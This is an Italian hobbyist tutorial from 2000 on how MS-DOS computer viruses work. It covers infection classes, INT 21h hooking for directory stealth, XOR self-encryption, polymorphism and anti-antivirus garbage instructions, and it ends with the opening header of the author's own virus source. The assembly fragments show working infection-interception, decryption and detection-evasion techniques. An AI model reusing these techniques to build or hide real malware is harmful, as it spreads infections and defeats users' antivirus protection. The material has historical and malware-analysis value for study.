============================================================================== == VIRUS DEI COMPUTER ============================================================================== == O-Zone == v1.0 [04-01-2000] == http://zap.to/ozone ============================================================================== Discaimer: Non mi assumo alcuna responsabilita' per quanto riguarda il contenuto del seguente file. Gli esempi riportati e le spiegazioni sono esclusivamente per fini didattici. Nessuan responsabilita' potra' essere attribuita all'autore per l'uso impoprio che altri potranno fare del seguente e delle informazioni in esso contenute. Non mi assumo alcuna responsabilita' per eventuali danni causati da uso proprio o improprio del seguente e delle informazioni in esso contenute. Diffido chiunque dal compilare e/o eseguire i sorgenti contenuti in questo testo. Essi sono puramente per scopi didattici. L'autore, in breve, non si assume alcuna responsabilita'. Contenuti: 1) Cos'e' un virus informatico ? 2) Proprieta' comuni 3) Classi dei virus 3.1) Virus Binari 3.1.1) Companion 3.1.2) Overwrite 3.1.3) Filling 3.1.4) Append 3.1.5) Boot 3.2) Virus Non Binari 3.2.1) Hoax 3.2.2) Macro 3.2.3) Exploit 4) Caratteristiche interessanti 4.1) Stealth 4.2) Encription 4.3) Polimorfico 4.4) Anti A.V. 5) Legislazione italiana in materia 6) Dopo la teoria...la pratica ! (0) Conoscenze necessarie per la comprensione del testo Per meglio comprendere il testo e' necessaria una conoscenza basilare dell'Assembly e di come funziona la gestione della memoria (segmenti, offset). Sarebbe meglio conoscere gia' qualcosa dela programmazione sotto MS-DOS visto che i programmi virus sono a *stretto contatto* con il sistema operativo. Consiglio la lettura e la consultazione delle Ralph Brown Interrupt List reperibili, tra l'altro, su Internet. Un manuale di Assembly 8086 sarebbe l'ideale ;) durante la lettura del codice. (1) Cos'e' un virus informatico Analogamente ai virus biologici, un virus informatico e' un programma (un programma !) che replica se stesso. Detto cosi' pero' non e' molto chiaro. Sui libri specifici troverete le definizioni di virus che via via sono nate che pero', coem tutte le definizioni, sono molto difficili da capire. Facciamo un esempio per analogia: un virus biologico e' un "essere" che attacca una cellula. Si replica DENTRO la cellula e manda il suo clone ad attaccare un'altra cellula. Adesso pensiamo alle cellule come ai nostri file eseguibili (non solo, poi vedremo perche') e al virus come ad un virus informatico. Tuttavia esiste una radicale differenza: il virus per agire deve essere eseguito. Infatti un virus informatico e' del tutto simile ad un normale programma che contiene normalissime istruzioni per la macchina ! Proprio per questo motivo e' impossibile, per la CPU, riconoscere il codice di un virus. Tuttavia ci sono dei "segni distintivi" che possono aiutare a riconoscerlo ma ne parleremo piu' avanti. Al momento basti sapere che un virus (da qui' in poi per "virus" intendo virus informatico) e' un programma e deve essere eseguito (non sempre vero, ma poi speghero' xche). (2) Proprieta' comuni dei virus Un virus per essere tale deve fondamentalmente essere in gradi di replicare se stesso. All'atto pratico, nella maggioranza dei casi, cio' non e' sufficente. Infatti esso deve, per quanto possibile, deve seguire le seguenti regole: 1) Essere invisibile 2) Non provocare errori che possano insospettire l'ignaro utente 3) Non occupare troppo tempo macchina 4) Non essere troppo grande La regola 1 e' propria dei virus STEALTH, che con opportune techiche che vedremo, riescono a nascondersi all'utente. Proprio per le regole 3 e 4 e' preferibile scrivere i virus in Assembly, che permette una miglior ottimizzazione del codice. (3) Classi dei Virus Di tipi di virus (o classi) ce ne sono diverse. Non tutti i virus si comportano allo stesso modo, hanno le stesse caratterisiche, gli stessi metodi di infezione,etc. Ecco quindi un breve "struttura gerarchica" di distinsione per i virus: VIRUS +---- BINARI +--- COMPANION | | | +--- OVERWRITE | | | +--- FILLING | | | +--- APPEND | | | +--- BOOT | +---- NON BINARI +--- HOAX | +--- MACRO VIRUS | +--- "EXPLOIT" VIRUS Avverto il lettore che alcune classi non hanno i nomi che ho indicato: questo xche alcune classi NON hanno un nome specifico ;). Partiamo ad analizzare l'albero dalla radice: (3.1) VIRUS BINARI Con la dicitura "Virus Binari" mi riferisco a tutti i virus scritti in un linguaggio di programmazione (generalmente Assembly o anche C) e compilati. I Virus Binari sono percui dei veri e propri programmi da eseguire in linguaggio macchina. (3.1.1) COMPANION I virus Companion sono dei virus strani: essi si replicano senza danneggiare alcun file ma utilizzano una tecnica propria del MS-DOS. La priorita' di esecuzione dei file sotto MS-DOS e': 1) .BAT 2) .COM 3) .EXE I virus Companion utilizzano prorpio questa caratteristica, ovvero se noi abbiamo in una directory X un file chiamato X.EXE, il virus copia se stesso in un file X.COM cosicche' se noi eseguiamo 'X' lanciamo il .COM ovvero il virus ! Naturalmente all'interno del virus ci saranno delle routine specifiche per eseguire anche X.EXE per evitare "sospetti". Ovvio che il file X.COM e' spesso settato con l'attributi HIDDEN cosicche' con un eventiale 'dir' non vediamo il nostro "amico" ;). (3.1.2) OVERWRITE Questa classe di virus e' la piu' criticata: in pratica il nostro virus sovrascrive in maniera irreversibile il file originale, andando contro la regola 2. In pratica se X.EXE prima dell'infezione e' un "editor" dopo l'infezione esso sara' solo il virus. Percui se dovete scrivere una lettera e lanciate X nessun editor vi apparira' ! La domanda che un utente si pone a questo punto e': "Perche' ?" ed e' cio' che bisogna evitare in un virus. Proprio per questo non e' affatto consigliabile scrivere virus di tipo OVERWRITE. Prima dell'infezione: X.EXE -> [CODICE DEL FILE X.EXE] Size: 10345 Byte Dopo l'infezione: X.EXE -> [CODICE DEL VIRUS][PARTE RESTANTE DI X.EXE] Size: n Bytes Size: 10345-n Bytes solo che la parte restante non viene mai eseguita. L'unico vantaggio di questo tipo di virus e' che la dimenzioen del file rimane, spesso, invariata. (3.1.3) FILLING Questa classe e' a mio avviso la piu' affascinate di tutte. Un virus di tipo FILLING e' spesso, per ragioni di sicurezza, anche APPEND. Poi vedremo xche. Questo tipo di virus, solitamente di dimensioni molto piccole, cerca nel file da "infettare" uno spazio vuoto in cui nascondersi. Spesso infatti nei programmi ci sono degli spazi vuoti usati in fase di esecuzione come stack e non contenenti alcun dato utile. Il virus ci si copia dentro senza che nessuno noti nulla: anche la dimensione del file ospite rimane invariata. In fase di esecuzione,poi, viene eseguito prima il virus e poi il programma originale. Ecco un esempio in ASM: [file TEST.COM non infetto] start: JUMP main stack DB 100 DUP(00h) main: NOP [codice del programma] una volta compilato il codice binario sara' qualcosa tipo: [0000] E9 00 10 [un ipotetico JUMP a main:] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... 00 00 00 00 00 00 00 00 [0100] 90 [Mnemonico del NOP, prima istruzione di main:] il virus si annida nei 100 bytes a 00 (ammesso che il virus sia grande <= 100Bytes) e dopo l'infezione il file TEST.COM sara': N.B. XX sta' per codice del virus. [0000] E9 00 01 (Ora JMP salta al codice del virus, sara' poi compito del virus stesso di eseguire il codice originale) XX XX XX XX XX XX XX XX ... XX XX XX XX XX XX XX XX [0100] 90 [Mnemonico del NOP, prima istruzione di main:] in fase di esecuzione: [ESEGUI CODICE DEL VIRUS]->[ESEGUI CODICE ORIGINALE] cosi' l'utente non si accorge di nulla in quanto il programma funziona ancora perfettamente perche'il virus ha usato lo spazio per i DATI e non per il CODICE. Un ipotetico diagramma di flusso di un file FILLING sara': (START) -> APRO FILE -> CERCO n BYTES a 00h (che non corrispondono ad alcun mnemonico e che sono, proprio per questo motivo, dati) -> COPIATI DENTRO ALLO SPAZIO -> PRELEVA PUNTO DI ESCUZIONE ORIGINALE -> SCRIVI IL TUO PUNTO DI ESECUZIONE -> (FINE) (3.1.4) APPEND (Non Overwriting Virus) Eccoci alla classe di virus piu' diffusa, quella APPEND. Questo particolare tipo di virus si attacca al programma originale conservandone le proprieta'. Funziona analogamente al tipo FILLING solo che questo tipo si copia esclusivamente alla fine del file. Non infetto: TEST.COM [DATI E CODICE DI TEST.COM] Size: n Bytes Dopo l'Infezione: TEST.COM [DATI E CODICE DI TEST.COM][DATI E CODICE DEL VIRUS] Size: n + v_size Bytes Come avrete notato si ha un aumento in dimensioni del file contrastando la regola 1. Infatti un utente con un semplice 'DIR' puo' notare che il file e' cresciuto :) ed e' per questo che bisogna attenersi il piu' possibile alla regola 4. C'e' anche una seconda soluzione: lo STEALTH di cui parlero' piu' avanti. Ecco un esempio di come funziona un virus APPEND (Non Overwriting Virus). TEST.COM Originale Size: n Bytes start: JUMP main data DB 20 DUP(00) main: nop nop nop int 20h [Fine del programma] TEST.COM Infetto Size: n + virus_size Bytes start: JUMP inizio_virus data DB 20 DUP(00) main: nop nop nop int 20h inizio_virus: [mi_faccio_i_cazzi_miei] JUMP main Come potete osservare per l'utente che esegueil programma infetto non cambia assolutamente nulla: il codice del programma originale e' sempre eseguito e siamo ok per la regola 2. :) Un ipotetico diagramma di flusso potrebbe essere il seguente: (START)->MI COPIO ALLA FINE DEL FILE OSPITE->GUARDO IL SUO PUNTO DI INIZIO ESECUZIONE->ME LO ANNOTO->SCRIVO IL MIO PUNTO DI ESECUZIONE->(FINE) In fase di esecuzione il virus, alla fine dei suoi lavori, fa' un JUMP al programma originale et voila' ! Il gioco e' fatto ! ;) (3.1.5) BOOT Virus Adesso parlo, per correttezza, della calsse di virus che in passato ha causato piu' danni. Adesso nessuno scrive piu' simili virus ma e' giusto sapere che anche loro esistono. Famosissimo di questa classe e'il Virus Michelangelo: ; Virus Name: Michelangelo ; V Status: Common ; Discovered: April, 1991 ; Symptoms: Disk directory damage; hard disk format; decrease in total ; system and available memory ; Origin: Sweden or the Netherlands ; Eff Length: N/A ; Type Code: BRtX - Resident Floppy Boot Sector/Master Boot Sector Infector ; This is a disassembly of the much-hyped michelangelo virus. ; As you can see, it is a derivative of the Stoned virus. The ; junk bytes at the end of the file are probably throwbacks to ; the Stoned virus. In any case, it is yet another boot sector ; and partition table infector. Il loro principio di funzionamento e' semplice: un tempo gli HD costavano molto e i CD manco si conoscevano. I Floppy-disk erano molto comuni e si usavano spesso come System Disk. All'avvio del computer (ancora oggi e' cosi) il BIOS cerca se un dischetto nel floppy-drive e' presente. Se c'e' esso carica ed esegue il primo settore che dovrebbe contenere il Bootstrap Loader (ovvero lanciare il sistema, come nei dischi di ripistino di Windoze). Il Bootstrap Loader e' un programma "particolare" che viene eseguito come un qualsiasi altro programma. Esempio tratto dal Terror2 Virus: boot_start: db 0E9h << db 9Dh << QUESTI 3 BYTES SONO IL JUMP A str_end: db 00h << db "TERROR2" << ETICHETTA DEL DISCO str_boot: db " << The Terror II Virus >> ",13,10 db "PolyMorphic Stealth Boot Virus.",13,10 db " Created by Dark Monk.",13,10 db " '' Fuck MS-DOS ! ,, ",13,10 str_end: db 29 DUP (90h) ; Scrivi 30 NOP mov ax,0001h ; 320 * 200 int 10h ; Video mov ah,0Fh int 10h ... Il settore di BOOT ha una specie di HEADER che serve al BIOS per capire che dischetto e'. Al momento non ne ho le specifiche sotto mano ma comunque in rete ci sono, cercate ! ;) Allora cosa succede ? Inserisci il dischetto nel drive, accendi il PC, il BIOS carica il codice della traccia 0 e lo esegue....e se e' un virus ? Se e' un virus esso ha il controllo della macchina. Certo, sono necessari accorgimenti particolari: primo fra tutti e' che il settore e' 512 Bytes, di cui circa 400 utilizzabili percui un virus, prima di tutto, carichera' il suo corpo principale in memoria e lo eseguira'. In pratica nel settore di BOOT non c'e' il VIRUS ma il LOADER del VIRUS. Il VIRUS vero e proprio si occupera' poi di ripistinare, in modo da seguire le regole 1 e 2, il vero boot record e di eseguirlo. Ci sono varie tecniche che non ho voglia di illustrarvi, semmai in un secondo momento. (3.2) VIRUS NON BINARI I Virus Non Binari (molti mi criticheranno ma non importa) sono quelle cose che per replicarsi non devono essere, necessariamente, eseguite. Una annotazione a parte per i virus "EXPLOIT": questo tipo di virus si basa su errori di un particolare programma. Mi riferisco, in questo caso, a Microsoft Outlook Express che i n una versione, in particolari condizioni, eseguiva un file in ATTACH senza il permesso e/o la richiesta dell'utente. Ovvio che un ipotetico file in ATTACH poteva infettare un sistema semplicemente inviandolo tramite E-Mail. ;) In generale i VIRUS NON BINARI sono quei virus non il linguaggio macchina. (3.2.1) HOAX Gli HOAX (Bufale) sono una nuova classe di virus apparsa su Internet e diffusa grazie alla 'lameraggine' degli utenti. Ho gia detto che un virus, per essere tale, deve replicare se stesso. Per questa proprieta' fondamentale, un qualsiasi messaggio che riporti una dicitura del tipo: SE INVII QUESTO MESSAGGIO AD ALTRE 5 PERSONE VINCERAI 1 MILIONE DI LIRE ! i piu' boccaloni invieranno subito, senz esitare, questo messaggio ad altre 5 persone provocando una crescita del "virus" di ragione 5 ovvero: START | +-----+-----+-----+-----+ | | | | | +++++ +++++ +++++ +++++ +++++ ||||| ||||| ||||| ||||| ||||| etc... quindi in 2 passaggi si hanno gia' 5*5 copie del messaggio creando una vera e propria infezione ;). In 100 passaggi si hanno ben 5^100 messaggi causando uno SPAM di dimensioni enormi ! (3.2.2) MACRO VIRUS I Macro Virus sono nati grazie ad una fatale caratteristica dei prodotti Microsoft Office. Per velocizzare alcune operazioni frequenti e' possibile creare delle Macro (chi programma sa' cosa sono) per velocizzare queste operazioni. Nelle macro di MS Office e' possibile specificare di tutto: apertura dei file, cancellazione, formattazione, etc..Una delle cose che non permettono, per fortuna,e' la ripartizione del disco (ref. Melissa Virus). Immaginatevi percui se invio ad un mio amico un documento .doc con una macro (le macro sono dento i documenti !) con l'ordine di cancellare tutto l'HD ! Fortunatamente i Macro Virus sono diffusi solo su sistemi Microsoft, e piu' che virus sembrano vendette !!! ;))) (3.2.3) EXPLOIT VIRUS Come gia' accennato nell'introduzione, gli EXPLOIT virus sfruttano delle particolari proprieta' dei Sistemi Operativi per diffondersi. Anche i VERMI di Internet utilizzano questa caratteristica ma non sono virus percui non ne parlo :). Il piu' famoso e' stato quello relativo ad Outlook Express che, se inviavi un file infetto in ATTACH con un nuone piu' lungo di 255 caratteri si provocava un Buffer Overflow con conseguente esecuzione del codice del file in ATTACH. [E-MAIL+ATTACH]->[OUTLOOK EXPRESS]->[BUFFER OVERFLOW & CRASH]->[ESEGUI ATTACH] Se ATTACH e' un virus appositamente progettato, ci ritroviamo con il sistema infetto. Non aggiungo altro all'argomento anche xche non sono molto ferrato sulla questione. (4) CARATTERISTICHE INTERESSANTI In questo paragrafo parlero' di alcune caratteristiche interessanti dei virus binari. Inaftti solo maneggiando il codice a livello macchina e' possibile agire in modo cosi' profondo nel sistema. (4.1) STEALTH I virus stealth sono tra i piu' pericolosi. Analogamente all'F117 (Quell'aereo caccia-bombardiere stealth) i virus stealth sono "invisibili" e cercano in ogni modo di coprirele proprie tracce. Per riuscirci utilizzano delle caratteristiche base del sistema. Per esempio un virus Dir Stealth (cheriesce a non far notare l'incremento di dimensione di un file con il comando 'dir') si basa sul fatto che il COMMAND.COM, all'arrivo di un 'dir' esegue un certo comnado sull'INT 21h (Interrupt 21h) e ne visualizza la risposta. Il nostro virus, di conseguenza, cerchera' di modificare la risposta. Ma come ? Ecco uns asemplice rappresentazione dell atabella degli interrupt in un sistema *sano*: [DOS] -> [INT 01h] -> Routine Int 01h -> Ret [INT 02h] -> Routine Int 02h -> Ret [INT ...] -> Routine Int ... -> Ret [INT 21h] -> Routine Int 21h -> Ret N.B. 'Ret' significa "ritorno al chiamante, o al DOS". ed adesso in un sistema inefftato da uno *pseudo* virus steath (e non solo): [DOS] -> [INT 01h] -> Routine Int 01h -> Ret [INT 02h] -> Routine Int 02h -> Ret [INT ...] -> Routine Int ... -> Ret [INT 21h] -> Virus -> Routine Int 21h -> Virus -> Ret Come vediamo il nostro virus *filtra* le chiamate in ingresso ed in uscita. Se esso rileva una chiamata di 'dir' (poi entrero' nei particolari) chiama l'INT 21h originale e ne attende la risposta, indi modifica il risultato in modo che l'utente non noti nulla e ritorna al chiamante. Il chiamante, ovviamente, non si accorge di nulla. Per capire come funziona il modo di intercettazione delle chiamate di Interrupt bisogna capire cosa sono gli Interrupt ! Ecco com'e' strutturata la tabella degli interrupt locata nella posizione 0000:0000 (Segmento 0 Offset 0) della memoria di sistema: Offs | 4b | 4b | -----+----+----+ 0000 OffA SegA 0004 OffB SegB 0008 OffC SegC ... In pratica chiamando l'INT 00 faccio una Call assoluta all'indirizzo SegA:OffA. Con l'INT 01 a SegB:OffB e cosi' via. Per accedere ad un elemento della tabella di interrupt basta scrivere queste righe: xor ax,ax mov es,ax ; ES = AX = 0 mov bx,word ptr es:[4*21h+0] ; OffSet mov ax,word ptr es:[4*21h+2] ; Segmento mov word ptr ds:[INT21h],bx ; Offset mov word ptr ds:[INT21h[2]],ax ; Segmento cli ; Disabilita INT *** ADESSO METTO NEL VETTORE IL PUNTATORE ALLA NOSTRA ROUTINE: mov word ptr es:[4*21h+0],offset newint21h ; OffSet della routine mov word ptr es:[4*21h+2],ds ; Segmento della routine sti ; Riabilita INT Per semplicita' basta pensare che un Interrupt e' una Call ad una routine particolare. Ecco una breve lista delle funzioni comuni dei primi interrupt: INT 00 - CPU-generated - DIVIDE ERROR INT 01 - CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS INT 02 - external hardware - NON-MASKABLE INTERRUPT INT 03 - CPU-generated - BREAKPOINT INT 04 - CPU-generated - INTO DETECTED OVERFLOW INT 05 - PRINT SCREEN; CPU-generated (80186+) - BOUND RANGE EXCEEDED INT 06 - CPU-generated (80286+) - INVALID OPCODE INT 07 - CPU-generated (80286+) - PROCESSOR EXTENSION NOT AVAILABLE INT 08 - IRQ0 - SYSTEM TIMER; CPU-generated (80286+) INT 09 - IRQ1 - KEYBOARD DATA READY; CPU-generated (80286,80386) INT 0A - IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+) INT 0B - IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+) INT 0C - IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+) INT 0D - IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+) INT 0E - IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+) INT 0F - IRQ7 - PARALLEL PRINTER INT 10 - VIDEO; CPU-generated (80286+) INT 11 - BIOS - GET EQUIPMENT LIST; CPU-generated (80486+) INT 12 - BIOS - GET MEMORY SIZE INT 13 - DISK INT 14 - SERIAL INT 15 - CASSETTE INT 16 - KEYBOARD INT 17 - PRINTER INT 18 - DISKLESS BOOT HOOK (START CASSETTE BASIC) INT 19 - SYSTEM - BOOTSTRAP LOADER INT 1A - TIME INT 1B - KEYBOARD - CONTROL-BREAK HANDLER INT 1C - TIME - SYSTEM TIMER TICK INT 1D - SYSTEM DATA - VIDEO PARAMETER TABLES INT 1E - SYSTEM DATA - DISKETTE PARAMETERS INT 1F - SYSTEM DATA - 8x8 GRAPHICS FONT INT 20 - DOS 1+ - TERMINATE PROGRAM INT 21 - DOS 1+ - Function Calls INT 22 - DOS 1+ - PROGRAM TERMINATION ADDRESS INT 23 - DOS 1+ - CONTROL-C/CONTROL-BREAK HANDLER INT 24 - DOS 1+ - CRITICAL ERROR HANDLER INT 25 - DOS 1+ - ABSOLUTE DISK READ INT 26 - DOS 1+ - ABSOLUTE DISK WRITE INT 27 - DOS 1+ - TERMINATE AND STAY RESIDENT INT 28 - DOS 2+ - DOS IDLE INTERRUPT INT 29 - DOS 2+ - FAST CONSOLE OUTPUT Naturalmente 'newint21h' e' un puntatore alla nostra routine, alla routine del virus: INT21H dd ? newint21h proc far Assume CS:CODE_SEG, DS:Nothing cmp ah,4Bh ; Load and Execute ? je load_execute cmp ah,11h ; Find First Matching File (Dir Stealth) je dir_stealth cmp ah,12h ; Find Next Matching File (Dir Stealth) je dir_stealth cmp ax,4300h ; Get File Attributes je load_execute cmp ax,4301h ; Set File Attributes je load_execute cmp ah,3Dh ; Open File je load_execute cmp ah,4Eh ; Find First Matching File (Dir Stealth) je newdir_stealth cmp ah,4Fh ; Find First Matching File (Dir Stealth) je newdir_stealth jmp do_int_now Ecco, per capire questa parte di codice e' opportuno addentrarsi ancora di piu' nelle chiamate di sistema: L'interrupt 21h *contiene* tutte le chiamate importanti del nostro MS-DOS. Consultando le RalphBrown Interrupt List si vede che l'INT2h e' quello che conta piu' funzioni di tutti gli altri Int. Analizziamole qualcuna: AH | AL | Altri Dati | Funzione ---+----+------------------+---------- 00 CS = PSP Segment Termina un programma 01 Ret Ritorna un carattere letto da console 02 DL = Char Stampa il carattere in DL nella console 0F DS:DX -> FCB Apre un file usando FCB 10 DS:DX -> FCB Chiude un file aperto con FCB 11 DS:DX -> FCB Cerca primo file usando FCB 12 DS:DX -> FCB Trova prossimo file usando FCB 13 DS:DX -> FCB Cancella file usando FCB 14 DS:DX -> FCB Sequential read from FCB 1A DS:DX -> DTA Set Disk Area Transfer address 25 XX DS:DX -> New Int Setta il vettore dell'INT XX con New Int comunque ce ne sono veramente tante. Vale la pena cercare su Internet le Ralph Brown Interrupt list e dargli uno sguardo: sono affascinanti. Non e' scopo di questo documento insegnarvi a scrivere virusma di imparare a conoscerli percui non mi addentrero' nei possibili utilizzi delle chiamate ne sui dettagli tecnici. Spero che abbiate compreso cosa sono gli Interrupt, come si usano e a cosa servono. Comunque di funzioni "stealthabili" ce ne sono molte, dipende solo da cosa modifica il vostro virus ! :) Per concludere questo affascinante argomento eccovi un breve diagramma di flusso di una procedura DIR STEALTH: (INIZIO) --> -Yes->[Chiama INT21h originale]--+ | | | +-No--> -Yes-+ | | | (FINE)<---------------No-+ | ^--[Modifica risultati]<--Yes-+ Il diagramma non e' realizzato nel migliore dei modi: comunque sia la procedura si riassume nel controllare se un file "chiamato a rapporto" e' infetto, se SI modificarlo e poi restituire i dati. (4.2) ENCRIPTION Questa curiosa ed interessante caratteristica ha fatto si' che gli Anti Virus avessero un "problemuccio" in piu'. Infatti con questa carateristica, spesso, i 'Pattern Matching AV' fallivano. Questa tecnica consiste di rendere un virus invisibile crittandone i contenuti. Ovviamente deve rimanere inalterata quella parte di codice che permette la successiva decrittazione e proprio questo gli rende facilmente intercettabili. Tuttavia vale la pena vedere come funziona. Le tecniche per la codifica/decodifica sono infinite, anche se per semplicita' e velocita' (ricordate regole 3 e 4 ?) sono preferite quelle simmetrice con lo XOR. Guardiamoci la tabella della verita' di una funzione XOR: A | B | O ---+---+--- ___ 0 0 0 A -\ \ 1 0 1 | >-- O 0 1 1 B -/___/ 1 1 0 Immaginiamoci questo dato: 00010010 da codificare con XOR con questa chiave: 01100110 00010010 XOR 01100110 ----------- 01110100 adesso proviamo a "codificare" il isultato (01110100) con la stessa chiave (01100110): 01110100 XOR 01100110 --------- 00010010 Magia ! ;) Come vedete il risultato e' assolutamente il dato originale (00010010) ed ecco xche la funzione XOR e' chiamata simmetrica: con due codifiche successive si ottiene il risutato iniziale. Ecco che allora la routine di codifica/decodifica e' la stessa. Ma in dettaglio come funziona un virus crittato ? [INIZIO VIRUS] start_enc: [ROTUINES_VARIE_DEL_VIRUS] end_enc: [CRIPT_DECRIPT_ROUTINE] noi crittiamo solo il codice tra start_enc e end_enc in quanto un codice macchina crittato non e' piu' esegubile ! Ecco che allora , al monento dell'esecuzione, dobbiamo prima richiamare la funzione CRIPT_DECRIPT_ROUTINE per rendere il virus esegubile. Il problema sta' nel fatto che la CRIPT_DECRIPT_ROUTINE non e' codificabile e quindi rilevabile dagli antivirus. Ecco la procedura di codifica/decodifica: ; Enc-Decryption Routine lea si,(Key + bp) mov bx,ds:[si] ; BX = Key lea si,(encrypt_start + bp) ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size dec_loop: mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption xor ah,bl xor al,bh mov word ptr ds:[si],ax inc si inc si loop dec_loop Avremo percui su DISCO il virus in questa forma: [INIZIO] [CODICE VIRUS CRITATTO] [ROUTINE EN-DEC] e in memoria (in esecuzione) questa: [INIZIO] [CODICE VIRUS IN CHIARO] [ROUTINE EN_DEC] Esiste anche una semplice tecnica,chaiamta Polymophic Encryption, che permette di cambiare chiave ad ogni generazione del virus. La chiave, ovviamente, dovra' essere memorizzata all'interno del suo corpo. Comunque il principio di funzionamento e' lo stesso. (4.3) POLIMORFICI Questa categoria e' spesso insieme alla precedente. I virus puramente Polimorfici sono rari e comunque il polimorfismo non e' alla portata di tutti: costruire un motore polimorfico (cosi' si chiama quel pezzo di codiche che "polimorfizza" il virus) e' molto difficile. Come funziona in dettaglio un virus polimorfico ? Bene, prima di tutto pensiamo a quanti metodi ci sono per fare una cosa. Esempio: per mettere 0 in AX quanti modi ci sono ? Proviamo... 1) MOV AX,0 2) XOR AX,AX 3) SUB AX,AX 4) MOV BX,0 MOV AX,BX ... diciamo pure *infiniti* :) Ed e' su questo che si basa un virus polimorfico. In pratica se in un virus incontra l'istruzione MOV AX,0 esso la sostituisce, a caso, con un suo simile. Cosi' un codice: mov ax,0 puo' diventare: xor ax,ax oppure: push bx mov bx,0 mov ax,bx pop bx e in tutti questi casi il codice macchina corrispondente e' diverso cosa x cui gli AntiVirus non ci capiscono piu' nulla ;). Uno dei piu' famosi motori polimorfici e' l' Mta (Mutation Engine) scritto da Dark Avenger, un mitico virus-writer bulgaro. (4.4) ANTI A.V. Questa categoria di trucchi e'molto divertente da applicare.Lo scopo principale e' fare in modo che l'AntiVirus non riconosca che quel codice e' un virus ;). I metodi per farlo sono molti e si basano essenzialmente su alcune "pecche" degli AV. Sulla rivista specializzata VLAD ci sono moltissime tecniche ben descrite. Eccovi un esempio di come "tentare" utilizzando delle Garbage Instruction (istruzioni spazzatura): get_offs: pop bp inc ax ; << Garbage Instruction (confuse AV) sub bp,offset get_offs ; In BP offset ; Check if encrypt mov si,ds:[34h] ; << Garbage Instruction (confuse AV) lea si,(encrypt_start + bp) xchg di,si ; << Garbage Instruction (confuse AV) xchg di,si ; << Garbage Instruction (confuse AV) cmp byte ptr cs:[si],90h ; Encrypted ? je encrypt_start ; Seems to be not :D ; Decryption Routine lea si,(Key + bp) add si,2 ; << Garbage Instruction (confuse AV) xchg bx,si ; << Garbage Instruction (confuse AV) dec bx ; << Garbage Instruction (confuse AV) xchg bx,si ; << Garbage Instruction (confuse AV) mov bx,ds:[si] ; BX = Key lea si,(encrypt_start + bp) ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size dec_loop: mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption int 03h ; << Garbage Instruction (confuse AV) xor ah,bl int 03h ; << Garbage Instruction (confuse AV) xor al,bh mov word ptr ds:[si],ax inc si int 03h ; << Garbage Instruction (confuse AV) inc si loop dec_loop Le righe commentate con "Garbage Instruction..." si riferiscono ad istruzioni *dummy* che rendono insensato (o,perlomeno, ci provano !) il codice confondendo l'AntiVirus. Con questa metodologia si va' contro la regola 4 ma bisogna cercare di trovare un buon compromesso tra difese e offese. (5) LEGISLAZIONE ITALIANA IN MATERIA DI VIRUS (Grazie a Ferry Byte per le seguenti informazioni) Carlo Sarzana di S. Ippolito, presidente aggiunto della sezione Gip del Tribunale di Roma, nella sua relazione presentata al convegno sulla criminalita' informatica tenutosi a Milano il 26 maggio 1994 rispetto alla legge Conso (l. n. 547/93 pubblicata in Gazzetta Ufficiale n. 305 30.12.93) sui reati informatici osservava che: 1) con riguardo all'art. 615 ter., che punisce l'accesso abusivo a u sistema informatico o telematico, la tutela e' limitata ai sistemi informatici o telematici protetti da misure di sicurezza perche', dovendosi tutelare il diritto di un soggetto specifico, e' necessario che quest'ultimo abbia dimostrato, con la predisposizione di mezzi di protezione sia logica che fisica, di voler espressamente riservare l'accesso e la permanenza nel sistema alle sole persone da lui autorizzate; 2) in riferimento all'art. 615 quater che punisce l'abusiva acquisizione e diffusione di codici di accesso a sistemi informatici o telematici, viene definito che, per la configurabilita' del delitto, e' richiesto il dolo specifico, consistente nel fine di procurare un profitto a se' o ad altri o di arrecare ad altri un danno; 3) a proposito dei virus (articolo 615-quinques) non commette reato colui che per ragioni di studio o predisposizione di sistemi di prevenzione, raccolga e/o custodisce programmi virus. Art. 615-quinquies - (Diffusione di programmi diretti a danneggiare o interrompere un sistema informatico). - Chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad essi pertinenti, ovvero l'interruzione, totale o parziale, o l'alterazione del suo funzionamento, e' punito con la reclusione sino a due anni e con la multa sino a lire venti milioni". Come vedete la legislazione in materia e' piuttosto vaga ed imprecisa, sarebbe punibile anche la Microsoft per il "DEL" e il "DELTREE" ;)) Del resto conviene non rischiare: la costituzione dice che la legge e' uguale per tutti, ma e' proprio cosi' ? BREVE INTERLUDIO Adesso la parte "teorica" (se cosi' si puo' definire) e' finita. Segue l'analisi di un vero virus informatico. Traetene spunto per verificare le nozioni acquisite. Ricordate sempre: un vero virus-writer non compie mai danni sul sistema altrui. Questo e' un invito esplicito a non scrivere virus pericolosi o distruttivi. Coscenza vostra. :) (6) DOPO LA TEORIA...LA PRATICA ! Ecco un esempio di virus. Si chiama VIAGRA ed e' la mia ultima creazione. Si lo so' che e' vecchiotto ma e' da un bel po' che non scrivo virus per il semplice motivo che non uso piu' l'MS-DOS ma solo Linux ;). W Linux ! ATTENZIONE !!! Questi sono solo pezzi del programma originale. Non possono essere compilati e non sono,quindi, illegali. Essi non possono arrecare alcun danno. Inoltre il sorgente contiene alcuni errori volutamente aggiunti per evitare qualsiasi compilazione. Solamente una persona esperta e motivata puo' essere in grado di assemblare un virus funzionante. Diffido chiunque dall'usare questo testo per scopi non educativi. Nel caso in cui venga compilato ed eseguito non mi riterro' in alcun modo responsabile per i danni che esso vi causera'. SOLO PER SCOPI DIDATTICI. [ HEADER DEL VIRUS, INFORMAZIONI VARIE] ; Araknoid virus v0.1 (Viagra Virus) ; ; Written by D.N.A ! 15/12/1998 ; ; * Virus Propriety ; þ Infect COM on: ; - Execute ; - Get Attributes ; - Set Attributes ; - Open ; þ Don't infect W*.COM (i.e. WIN.COM) ; þ Don't infect misnamed EXE (i.e. COMMAND.COM) ; þ Memory Invisible 